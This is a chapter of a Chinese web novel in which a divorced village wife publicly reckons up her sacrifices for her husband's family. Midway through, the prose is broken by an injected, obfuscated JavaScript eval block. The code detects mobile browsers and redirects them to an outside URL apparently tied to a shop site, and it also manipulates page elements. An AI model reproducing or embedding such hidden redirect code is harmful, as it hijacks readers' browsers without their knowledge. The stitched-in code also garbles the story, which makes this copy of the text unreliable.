双水村的村口，那一株老槐树的影子被夕阳拉得极长，像是一只嶙峋的怪手，横过满是泥泞的土路。
林清药拎着那个碎花布包，在老槐树下站定。晚风吹过，她单薄的的确良衬衫被吹得紧贴在身上，显出一种近乎凌冽的清瘦。
全村的人几乎都到了。
大家伙儿原本是来看这个“不下蛋”的团长媳妇被撵出门的惨状，甚至有人已经准备好了同情的唏嘘或者鄙夷的冷笑。可当林清药在大槐树下站定，缓缓从怀里掏出那个泛黄的、边缘已经磨损起毛的小本子时，空气里那股子看戏的浮躁，渐渐沉了下来。
“清药，上车。就算离了婚，我也该把你送到车站。这十几里山路，你那身子骨受不住。”
周正北开着那辆绿皮吉普车，缓缓跟在她身后。车窗降下，露出他那张冷硬如石的脸。烟草味从车窗里飘出来，那是他焦虑时的底色。他看着林清药的脊背，总觉得如果不把她拉上车，这个女人就会像晨雾一样，彻底消失在他的生命里。
林清药停下脚步，转过身。她没看周正北，而是看向了围观的邻里乡亲。
“不用了。就在这儿吧，乡亲们都在，咱们把最后的账清一清。省得我走之后，周家大门上还得挂着我林清药‘亏欠’的名声。”
她的声音不大，却像是一颗石子投进了死水潭，瞬间激起了千层浪。
“清药这孩子，这是要干啥？”“被休了还不嫌丢人，还在这儿算哪门子账？”
周婆婆此时也跟到了村口，手里还死死拽着王招娣，生怕周正北反悔似的。听见这话，周婆婆撇着嘴，阴阳怪气地嚷开了：“算账？好哇！那咱们就好好算算！你进门三年，吃咱们家的白米细面，花了正北多少津贴？这一笔笔，哪样不是咱们周家的血汗钱？”
林清药低低笑了一声，那笑声在旷野里显得格外清冷。
“妈，既然你提到了钱，那咱们就先从这张存折算起。”
林清药从怀里掏出一张红色的存折，动作利落地把它拍在了吉普车的引擎盖上。
“周正北每个月寄回来的津贴是三十块，三年一共一千零八十块。这本子上记着，周老爹病重吃药花了三百六，家里的日常嚼用花了两百二，剩下这五百块，都在这儿了。”
林清药把小本子摊开，递到了王大婶手里。
“大家伙儿传着看看。我林清药这三年，除了给自己买过两包雪花膏和换洗的内衣，没给自己添过一件新衣裳，没吃过一口独食。这五百块，我一分不带走，就留给正北娶那个‘好生养’的新妻用。这叫……绝后费，妈，您收好。”
“绝后费”三个字一出，周婆婆的脸瞬间涨成了猪肝色，围观的人群爆发出一阵哄笑。
周正北死死盯着引擎盖上那张红存折。那原本是他作为男人的自尊，此时却像是一记响亮的耳光，狠狠抽在他脸上。
“林清药，你把钱收回去，我没说要算这些！”周正北推开车门，双眼通红地吼道。
“钱算清了，那咱们算算‘命’。”
林清药的声音陡然转厉。她往前迈了一步，逼视着周正北的眼睛，那一刻，她眼底迸发出的光芒让在场的所有汉子都下意识地退了一步。
“前年冬天，周团长在前方打仗，后方寄回来一张病危通知书，说腿部重度感染，由于缺医少药，医生建议截肢，否则命保不住。”
林清药的声音在风中颤抖，带着一种穿透时空的剧痛。
“那时候，是谁坐在炕头哭天喊地，说儿子成了残废这辈子就毁了？是谁说只要能保住腿，让她折寿都行？是您吧，妈？”
周婆婆瑟缩了一下，想反驳，却发现周围邻居看她的眼神都变了。那年周家的哭声，全村确实都听见过。
“那是正北命大，部队医院救回来的，跟你有什么关系？”周婆婆梗着脖子。
“命大？”林清药冷笑一声，猛地撸起自己的袖子。
那双原本如冷瓷般白皙的手臂上，竟然纵横交错着几道早已愈合却依然狰狞的疤痕。那是被野兽抓伤、被冰凌划破后留下的印记。
“全家人都劝正北转业回来当个瘸子，是我林清药，只身一人进了后山深处。那年大雪封山，老猎户都不敢进去。我在雪坑里爬了三天三夜，指甲盖都在石头缝里掀掉了一半，才找回那一株‘见血青’和‘接骨草’。”
林清药盯着周正北，每一个字都像是从牙缝里挤出来的血：
“我跪在县城的车站门口，求爷爷告奶奶，求人家帮我把这药粉加急带去边防。周正北，你后来在信里说，医生都觉得是奇迹。那不是奇迹，那是我的半条命！”
周正北的脸色瞬间变得煞白，甚至带着一种死人才有的灰败。他踉跄着往后退了一步，脑子里嗡嗡作响。
他一直以为，那是他在昏迷中产生的幻觉，以为那是母亲在村头求神拜佛感悟了天地。他回村后，看着林清药温顺贤惠，只觉得那是当媳妇的本分。
他从未想过，这个为了避开他的亲近而不断后退的女人，曾经为了救他的命，在雪山狼窝里博过命。
“还有周老爹。”<
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17276651|198280||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
/p>
林清药没给他喘息的机会，继续清算着：
“老人家走前的半年，中风瘫痪在床。是你周正北回不来，是我这个当儿媳妇的，每天三遍擦洗，从没让他身上长过一块褥疮。他最后咽气的时候，是拉着我的手走的。他说，清药，是周家对不住你，周家要是敢欺负你，他死不瞑目。”
“妈，您刚才在院子里骂我是‘不下蛋的母鸡’。我想请问，如果是林家村的王招娣，或者是哪个大队的好姑娘，她们能不能在大雪天给你儿子换回一条腿？能不能在老头子床前守那半年脏活累活？”
周婆婆张了张嘴，嗓子眼像是被什么东西卡住了，一个音节也发不出来。
周围的村民们已经彻底安静了。原本那些带着怜悯、带着看好戏的心态，此刻全化作了深深的震撼。
这哪里是不孕的问题？这分明是一个女人用命撑起了一个家，却在价值被榨干后，被这一家人合伙踢出了大门。
“救命的恩情，在你们周家眼里，到底值多少钱？”林清药看着周正北，眼里的哀戚彻底散去，只剩下一种如冰雪般的剔透，“如果是想拿这三年的嚼用来抵，那我告诉你，抵不了。哪怕你拿出一个团长的所有前途，也还不起。”
周正北死死地抠住车门，指关节因为过度用力而发出令人牙酸的脆响。
“清药，我不知道……我真的不知道……”他声音嘶哑，带着一种近乎绝望的悔意。
“现在知道了，也晚了。”
林清药背起碎花布包。夕阳的余晖落在她身上，给她镀了一层金边，让她看起来不再是那个卑微的村妇，而像是某种不可亵渎的神像。
“这账算清了。周正北，这辈子，你欠我的命，我不让你还。我只要属于我的那份介绍信和户口，从此山高水远，咱们两清。”
她说完，头也不回地朝着村口外那条通往远方的土路走去。
周正北僵在原地。他看着林清药那笔直、决绝的背影，再看看那本被风吹得纸页乱飞的小账本，还有那一叠厚厚的钞票。
他突然意识到，林清药要的从来不是钱。她是故意选在村口，故意选在全村人面前，用这一笔笔账，亲手挖去了他周正北的心，还顺便在他的伤口上撒了一把名为“后悔”的盐。
没有了林清药，这周家大院，这团长军装，在他眼里突然变得毫无意义。
村口，老槐树的枯叶掉了一地。
林清药越走越快，每一步都踏在周正北破碎的自尊上。自由的味道，在那一刻，比任何良药都要甘甜。